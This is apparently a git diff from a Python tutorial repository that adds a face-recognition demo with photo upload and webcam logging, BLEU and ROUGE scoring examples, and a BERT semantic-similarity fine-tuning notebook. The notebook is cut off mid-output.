/dev/null +++ b/machine-learning/facial-recognition-system/README.md @@ -0,0 +1 @@ +# [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python) \ No newline at end of file diff --git a/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif new file mode 100644 index 00000000..0073f5d6 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif new file mode 100644 index 00000000..91a3619a Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/mane.jfif b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif new file mode 100644 index 00000000..b36ddc1e Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/messi.jpg b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg new file mode 100644 index 00000000..722eba2c Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/messi.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG new file mode 100644 index 00000000..de32fc2d Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/muhammad.PNG differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg new file mode 100644 index 00000000..3c3f4682 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/neymar.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/obama.jfif b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif new file mode 100644 index 00000000..30baa567 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/obama.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg new file mode 100644 index 00000000..26e569b5 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/ronaldo.jpg differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/villa.jfif b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif new file mode 100644 index 00000000..2f302162 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/villa.jfif differ diff --git a/machine-learning/facial-recognition-system/facial_rec_image_upload.py b/machine-learning/facial-recognition-system/facial_rec_image_upload.py new file mode 100644 index 00000000..7d5cad6f --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_image_upload.py @@ -0,0 +1,113 @@ +import cv2, numpy as np, face_recognition, os, tkinter as tk +from tkinter import filedialog + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to handle image selection and recognition +def select_and_recognize_image(): + # Use a file dialog to let the user select an image. + selected_file = filedialog.askopenfilename() + if selected_file: + # Read the selected image. + selected_image = cv2.imread(selected_file) + + # Convert the image to RGB format. + selected_image_rgb = cv2.cvtColor(selected_image, cv2.COLOR_BGR2RGB) + + # Get face encodings for the selected image. + selected_face_encodings = face_recognition.face_encodings(selected_image_rgb) + + match_found = False # Flag to track if a match is found. + + if not selected_face_encodings: + print("No faces found in the selected image.") + else: + # Loop through the detected faces in the selected image. + for face_encoding in selected_face_encodings: + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Draw a green rectangle around the recognized face. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 255, 0), 2,) + + # Display the name below the face. + cv2.putText(selected_image, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 0.5, + (0, 255, 0), 2) + + match_found = True # Match found flag. + break # Exit loop as soon as a match is found. + + if not match_found: + # If no match is found, draw a red rectangle and display No Match. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 0, 255), 2) + cv2.putText(selected_image, "No match", (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (0, 0, 255), 2) + + # Show the image with the rectangle and name. + cv2.imshow("Recognized Image", selected_image) + known_faces.clear()# To prevent the program from slowing down due to excess unnecessary encodings. + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a button to select an image for recognition. +select_button = tk.Button(root, text="Select Image for Recognition", command=select_and_recognize_image) +select_button.pack(pady=10) + + +# Function to quit the application. +def quit_app(): + root.quit() + + +# Create a quit button to exit the application. +quit_button = tk.Button(root, text="Quit", command=quit_app) +quit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/facial_rec_live_camera.py b/machine-learning/facial-recognition-system/facial_rec_live_camera.py new file mode 100644 index 00000000..689eac6a --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_live_camera.py @@ -0,0 +1,155 @@ +import tkinter as tk, numpy as np, cv2, os, face_recognition +from datetime import datetime + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Define a function to document the recognized face. +def document_recognised_face(name, filename='records.csv'): + # Get the current date in the YYYY-MM-DD format. + capture_date = datetime.now().strftime("%Y-%m-%d") + + # Check if the specified CSV file exists. + if not os.path.isfile(filename): + # If the file doesn't exist, create it and write the header. + with open(filename, 'w') as f: + f.write('Name,Date,Time') # Create the file and write the header. + + # Open the CSV file for reading and writing ('r+') + with open(filename, 'r+') as file: + # Read all lines from the file into a list. + lines = file.readlines() + + # Extract the names from existing lines in the CSV. + existing_names = [line.split(",")[0] for line in lines] + + # Check if the provided name is not already in the existing names. + if name not in existing_names: + # Get the current time in the HH:MM:SS format. + now = datetime.now() + current_time = now.strftime("%H:%M:%S") + + # Write the new entry to the CSV file including name, capture date, and time. + file.write(f'\n{name},{capture_date},{current_time}') + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to start the Facial recognition program. +def start_recognition_program(): + # Open a webcam for capturing video. If you are using your computer's webcam, change 1 to 0. + # If using an external webcam, leave it as 1. + video_capture = cv2.VideoCapture(1) + + while True: + # Read a frame from the webcam. + frame = video_capture.read() + + # Check if the frame is not None (indicating a successful frame capture). + if frame is not None: + frame = frame[1] # The frame is usually the second element of the tuple returned by video_capture.read(). + + # Resize the image to a smaller size. + resized_frame = cv2.resize(frame, (0, 0), None, 0.25, 0.25) + resized_frame = cv2.cvtColor(resized_frame, cv2.COLOR_BGR2RGB) + + # Detect faces in the current frame. + face_locations = face_recognition.face_locations(resized_frame) + + # Get face encodings for the faces detected in the current frame. + current_face_encodings = face_recognition.face_encodings(resized_frame, face_locations) + + # Loop through the detected faces in the current frame. + for face_encoding, location in zip(current_face_encodings, face_locations): + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Extract face location coordinates. + top, right, bottom, left = location + top, right, bottom, left = top * 4, right * 4, bottom * 4, left * 4 + + # Draw a rectangle around the recognized face. + cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2) + + # Draw a filled rectangle and display the name above the face. + cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 255, 0), cv2.FILLED) + cv2.putText(frame, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (255, 255, 255), 2) + document_recognised_face(recognized_name) + + # Display the image with recognized faces. + cv2.imshow("Webcam", frame) + + # Check for key press + key = cv2.waitKey(1) & 0xFF + + # Check if the 'q' key is pressed to exit the program. + if key == ord('q'): + break + + # Release the video capture and close all OpenCV windows. + video_capture.release() + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a label +label = tk.Label(root, text="Click the button to start the facial recognition program") +label.pack(pady=10) + +# Create a button to start the program +start_button = tk.Button(root, text="Start Recognition", command=start_recognition_program) +start_button.pack(pady=10) + + +# Function to quit the application. This is for quitting the entire program. To quit the webcam stream, hit q. +def quit_app(): + root.quit() + cv2.destroyAllWindows() + + +# Create a quit button to exit the application. +exit_button = tk.Button(root, text="Close", command=quit_app) +exit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/requirements.txt b/machine-learning/facial-recognition-system/requirements.txt new file mode 100644 index 00000000..bcf5e075 --- /dev/null +++ b/machine-learning/facial-recognition-system/requirements.txt @@ -0,0 +1,4 @@ +cmake +dlib==19.18.0 +face-recognition +opencv-python \ No newline at end of file diff --git a/machine-learning/hog-feature-extraction/hog.ipynb b/machine-learning/hog-feature-extraction/hog.ipynb index 0b6c2852..8158380a 100644 --- a/machine-learning/hog-feature-extraction/hog.ipynb +++ b/machine-learning/hog-feature-extraction/hog.ipynb @@ -69,7 +69,7 @@ "source": [ "#creating hog features\n", "fd, hog_image = hog(resized_img, orientations=9, pixels_per_cell=(8, 8),\n", - " \tcells_per_block=(2, 2), visualize=True, multichannel=True)\n", + " \tcells_per_block=(2, 2), visualize=True, channel_axis=2)\n", "print(fd.shape)\n", "plt.axis(\"off\")\n", "plt.imshow(hog_image, cmap=\"gray\")" @@ -94,4 +94,4 @@ "source": [] } ] -} \ No newline at end of file +} diff --git a/machine-learning/nlp/bleu-score/README.md b/machine-learning/nlp/bleu-score/README.md new file mode 100644 index 00000000..00804391 --- /dev/null +++ b/machine-learning/nlp/bleu-score/README.md @@ -0,0 +1 @@ +# [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/bleu-score/bleu_score.py b/machine-learning/nlp/bleu-score/bleu_score.py new file mode 100644 index 00000000..e80cfa11 --- /dev/null +++ b/machine-learning/nlp/bleu-score/bleu_score.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +"""BLEU Score.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1dSsETrstp-EEGMX46nc-m_jw00nzkaNZ +""" + +from nltk.translate.bleu_score import sentence_bleu, corpus_bleu + +# Prepare the reference sentences +reference1 = ['I', 'love', 'eating', 'ice', 'cream'] +reference2 = ['I', 'enjoy', 'eating', 'ice', 'cream'] + +# Prepare the candidate sentence +translation = ['I', 'love', 'eating', 'ice', 'cream'] + +# Calculate the BLEU score for a single sentence +bleu_score = sentence_bleu([reference1, reference2], translation) +print("BLEU Score: ", bleu_score) + +# Prepare the reference sentences and candidate sentences for multiple translations +references = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'enjoys', 'eating', 'cake']] +translations = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'likes', 'to', 'eat', 'cake']] + +# Create a list of reference lists +references_list = [[ref] for ref in references] + +# Calculate BLEU score for the entire corpus +bleu_score_corpus = corpus_bleu(references_list, translations) +print("Corpus BLEU Score: ", bleu_score_corpus) + diff --git a/machine-learning/nlp/bleu-score/requirements.txt b/machine-learning/nlp/bleu-score/requirements.txt new file mode 100644 index 00000000..13b03ed0 --- /dev/null +++ b/machine-learning/nlp/bleu-score/requirements.txt @@ -0,0 +1 @@ +ntlk \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md new file mode 100644 index 00000000..21d86a14 --- /dev/null +++ b/machine-learning/nlp/rouge-score/README.md @@ -0,0 +1 @@ +# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt new file mode 100644 index 00000000..7f26c102 --- /dev/null +++ b/machine-learning/nlp/rouge-score/requirements.txt @@ -0,0 +1 @@ +rouge-score \ No newline at end of file diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py new file mode 100644 index 00000000..4b00c4c7 --- /dev/null +++ b/machine-learning/nlp/rouge-score/rouge.py @@ -0,0 +1,22 @@ +from rouge_score import rouge_scorer + +scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL'], use_stemmer=True) + +# Single reference +candidate_summary = "the cat was found under the bed" +reference_summary = "the cat was under the bed" +scores = scorer.score(reference_summary, candidate_summary) +for key in scores: + print(f'{key}: {scores[key]}') + +# Multiple references +candidate_summary = "the cat was found under the bed" +reference_summaries = ["the cat was under the bed", "found a cat under the bed"] +scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']} +for ref in reference_summaries: + temp_scores = scorer.score(ref, candidate_summary) + for key in temp_scores: + scores[key].append(temp_scores[key]) + +for key in scores: + print(f'{key}:\n{scores[key]}') \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..952a0f75 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb @@ -0,0 +1,1010 @@ +{ + "cells": [ + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "E2Cu87RMWw-P" + }, + "source": [ + "### 1. Install and import the required packages" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4Px8aik4VaOY" + }, + "outputs": [], + "source": [ + "!pip install transformers sentence-transformers datasets" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RUsTXFi1bNRI" + }, + "outputs": [], + "source": [ + "from datasets import load_dataset\n", + "from sentence_transformers import SentenceTransformer, models\n", + "from transformers import BertTokenizer\n", + "from transformers import get_linear_schedule_with_warmup\n", + "import torch\n", + "from torch.optim import AdamW\n", + "from torch.utils.data import DataLoader\n", + "from tqdm import tqdm\n", + "import time\n", + "import datetime\n", + "import random\n", + "import numpy as np\n", + "import pandas as pd" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "zMdAdDQbzWmC" + }, + "source": [ + "### 2. Use Google Colab's GPU for training" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wB7TNNSrziMu", + "outputId": "53715022-a7af-439f-f978-637799295f85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 1 GPU(s) available.\n", + "We will use the GPU: Tesla T4\n" + ] + } + ], + "source": [ + "if torch.cuda.is_available(): \n", + " device = torch.device(\"cuda\")\n", + " print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n", + " print('We will use the GPU:', torch.cuda.get_device_name(0))\n", + "else:\n", + " print('No GPU available, using the CPU instead.')\n", + " device = torch.device(\"cpu\")" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "kQ1Eel-3W-5b" + }, + "source": [ + "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mgwlDDjtWM71" + }, + "outputs": [], + "source": [ + "# Load the English version of the STSB dataset\n", + "dataset = load_dataset(\"stsb_multi_mt\", \"en\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "BtUWgi0h_DjR", + "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "DatasetDict({\n", + " train: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 5749\n", + " })\n", + " test: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1379\n", + " })\n", + " dev: Dataset({\n", + " features: ['sentence1', 'sentence2', 'similarity_score'],\n", + " num_rows: 1500\n", + " })\n", + "})\n" + ] + } + ], + "source": [ + "print(dataset)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FEHZl4WeWv6r", + "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "A sample from the STSB dataset's training split:\n", + "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n" + ] + } + ], + "source": [ + "print(\"A sample from the STSB dataset's training split:\")\n", + "print(dataset['train'][98])" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OjMKsIuxYv6D" + }, + "source": [ + "### **4.** Define the dataset loader class\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "f2Hc2uwabgJa" + }, + "outputs": [], + "source": [ + "# Instantiate the BERT tokenizer\n", + "# You can use larger variants of the model, here we're using the base model\n", + "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "uEI1p5-SaM8t" + }, + "outputs": [], + "source": [ + "class STSBDataset(torch.utils.data.Dataset):\n", + "\n", + " def __init__(self, dataset):\n", + "\n", + " # Normalize the similarity scores in the dataset\n", + " similarity_scores = [i['similarity_score'] for i in dataset]\n", + " self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n", + " self.first_sentences = [i['sentence1'] for i in dataset]\n", + " self.second_sentences = [i['sentence2'] for i in dataset]\n", + " self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n", + "\n", + " def __len__(self):\n", + "\n", + " return len(self.concatenated_sentences)\n", + "\n", + " def get_batch_labels(self, idx):\n", + "\n", + " return torch.tensor(self.normalized_similarity_scores[idx])\n", + "\n", + " def get_batch_texts(self, idx):\n", + "\n", + " return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n", + "\n", + " def __getitem__(self, idx):\n", + "\n", + " batch_texts = self.get_batch_texts(idx)\n", + " batch_y = self.get_batch_labels(idx)\n", + "\n", + " return batch_texts, batch_y\n", + "\n", + "\n", + "def collate_fn(texts):\n", + "\n", + " input_ids = texts['input_ids']\n", + " attention_masks = texts['attention_mask']\n", + "\n", + " features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n", + " for input_id, attention_mask in zip(input_ids, attention_masks)]\n", + "\n", + " return features" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "w9ICUkr20JbP" + }, + "source": [ + "### 5. Define the model class based on BERT" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "EgTYEHC8b7kb" + }, + "outputs": [], + "source": [ + "class BertForSTS(torch.nn.Module):\n", + "\n", + " def __init__(self):\n", + "\n", + " super(BertForSTS, self).__init__()\n", + " self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n", + " self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n", + " self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n", + "\n", + " def forward(self, input_data):\n", + " output = self.sts_bert(input_data)['sentence_embedding']\n", + " return output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yMNCebmb4Hlt" + }, + "outputs": [], + "source": [ + "# Instantiate the model and move it to GPU\n", + "model = BertForSTS()\n", + "model.to(device)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "IXqIA_D_2nYC" + }, + "source": [ + "### 6. Define the Cosine Similarity loss function" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ty7Q630Ob96f" + }, + "outputs": [], + "source": [ + "class CosineSimilarityLoss(torch.nn.Module):\n", + "\n", + " def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n", + " super(CosineSimilarityLoss, self).__init__()\n", + " self.loss_fn = loss_fn\n", + " self.transform_fn = transform_fn\n", + " self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n", + "\n", + " def forward(self, inputs, labels):\n", + " emb_1 = torch.stack([inp[0] for inp in inputs])\n", + " emb_2 = torch.stack([inp[1] for inp in inputs])\n", + " outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n", + " return self.loss_fn(outputs, labels.squeeze())" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "B688H4qY26ZG" + }, + "source": [ + "### 7. Prepare the training and validation data split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PrQvEJgC4VeB", + "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "5,749 training samples\n", + "1,500 validation samples\n" + ] + } + ], + "source": [ + "train_ds = STSBDataset(dataset['train'])\n", + "val_ds = STSBDataset(dataset['dev'])\n", + "\n", + "# Create a 90-10 train-validation split.\n", + "train_size = len(train_ds)\n", + "val_size = len(val_ds)\n", + "\n", + "print('{:>5,} training samples'.format(train_size))\n", + "print('{:>5,} validation samples'.format(val_size))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eUPorlzExygm" + }, + "outputs": [], + "source": [ + "batch_size = 8\n", + "\n", + "train_dataloader = DataLoader(\n", + " train_ds, # The training samples.\n", + " num_workers = 4,\n", + " batch_size = batch_size, # Use this batch size.\n", + " shuffle=True # Select samples randomly for each batch\n", + " )\n", + "\n", + "validation_dataloader = DataLoader(\n", + " val_ds,\n", + " num_workers = 4,\n", + " batch_size = batch_size # Use the same batch size\n", + " )" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "5avkJtGn2-al" + }, + "source": [ + "### 8. Define the Optimizer and Scheduler" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "lB_HcVbl3EZw" + }, + "outputs": [], + "source": [ + "optimizer = AdamW(model.parameters(),\n", + " lr = 1e-6)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "RVT3cA_-3NPP" + }, + "outputs": [], + "source": [ + "epochs = 8\n", + "\n", + "# Total number of training steps is [number of batches] x [number of epochs]. \n", + "total_steps = len(train_dataloader) * epochs\n", + "\n", + "scheduler = get_linear_schedule_with_warmup(optimizer, \n", + " num_warmup_steps = 0,\n", + " num_training_steps = total_steps)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "zyIxF_7J3ep5" + }, + "source": [ + "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JH7_0ASp3oDW" + }, + "outputs": [], + "source": [ + "# Takes a time in seconds and returns a string hh:mm:ss\n", + "def format_time(elapsed):\n", + " # Round to the nearest second.\n", + " elapsed_rounded = int(round((elapsed)))\n", + " \n", + " # Format as hh:mm:ss\n", + " return str(datetime.timedelta(seconds=elapsed_rounded))" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "jJFhpUJp92Qe" + }, + "source": [ + "### 10. Define the training function, and start the training loop" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vdeUXU915NE5" + }, + "outputs": [], + "source": [ + "def train():\n", + " seed_val = 42\n", + "\n", + " criterion = CosineSimilarityLoss()\n", + " criterion = criterion.to(device)\n", + "\n", + " random.seed(seed_val)\n", + " torch.manual_seed(seed_val)\n", + "\n", + " # We'll store a number of quantities such as training and validation loss, \n", + " # validation accuracy, and timings.\n", + " training_stats = []\n", + " total_t0 = time.time()\n", + "\n", + " for epoch_i in range(0, epochs):\n", + " \n", + " # ========================================\n", + " # Training\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n", + " print('Training...')\n", + "\n", + " t0 = time.time()\n", + "\n", + " total_train_loss = 0\n", + "\n", + " model.train()\n", + "\n", + " # For each batch of training data...\n", + " for train_data, train_label in tqdm(train_dataloader):\n", + "\n", + " train_data['input_ids'] = train_data['input_ids'].to(device)\n", + " train_data['attention_mask'] = train_data['attention_mask'].to(device)\n", + "\n", + " train_data = collate_fn(train_data)\n", + " model.zero_grad()\n", + "\n", + " output = [model(feature) for feature in train_data]\n", + "\n", + " loss = criterion(output, train_label.to(device))\n", + " total_train_loss += loss.item()\n", + "\n", + " loss.backward()\n", + " torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n", + " optimizer.step()\n", + " scheduler.step()\n", + "\n", + " \n", + " # Calculate the average loss over all of the batches.\n", + " avg_train_loss = total_train_loss / len(train_dataloader) \n", + " \n", + " # Measure how long this epoch took.\n", + " training_time = format_time(time.time() - t0)\n", + "\n", + " print(\"\")\n", + " print(\" Average training loss: {0:.5f}\".format(avg_train_loss))\n", + " print(\" Training epoch took: {:}\".format(training_time))\n", + " \n", + " # ========================================\n", + " # Validation\n", + " # ========================================\n", + "\n", + " print(\"\")\n", + " print(\"Running Validation...\")\n", + "\n", + " t0 = time.time()\n", + "\n", + " model.eval()\n", + "\n", + " total_eval_accuracy = 0\n", + " total_eval_loss = 0\n", + " nb_eval_steps = 0\n", + "\n", + " # Evaluate data for one epoch\n", + " for val_data, val_label in tqdm(validation_dataloader):\n", + "\n", + " val_data['input_ids'] = val_data['input_ids'].to(device)\n", + " val_data['attention_mask'] = val_data['attention_mask'].to(device)\n", + "\n", + " val_data = collate_fn(val_data)\n", + "\n", + " with torch.no_grad(): \n", + " output = [model(feature) for feature in val_data]\n", + "\n", + " loss = criterion(output, val_label.to(device))\n", + " total_eval_loss += loss.item()\n", + "\n", + " # Calculate the average loss over all of the batches.\n", + " avg_val_loss = total_eval_loss / len(validation_dataloader)\n", + " \n", + " # Measure how long the validation run took.\n", + " validation_time = format_time(time.time() - t0)\n", + " \n", + " print(\" Validation Loss: {0:.5f}\".format(avg_val_loss))\n", + " print(\" Validation took: {:}\".format(validation_time))\n", + "\n", + " # Record all statistics from this epoch.\n", + " training_stats.append(\n", + " {\n", + " 'epoch': epoch_i + 1,\n", + " 'Training Loss': avg_train_loss,\n", + " 'Valid. Loss': avg_val_loss,\n", + " 'Training Time': training_time,\n", + " 'Validation Time': validation_time\n", + " }\n", + " )\n", + "\n", + " print(\"\")\n", + " print(\"Training complete!\")\n", + "\n", + " print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n", + "\n", + " return model, training_stats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CoWW_TnZgSRf" + }, + "outputs": [], + "source": [ + "# Launch the training\n", + "model, training_stats = train()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 331 + }, + "id": "nEgMWBU7fzXh", + "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
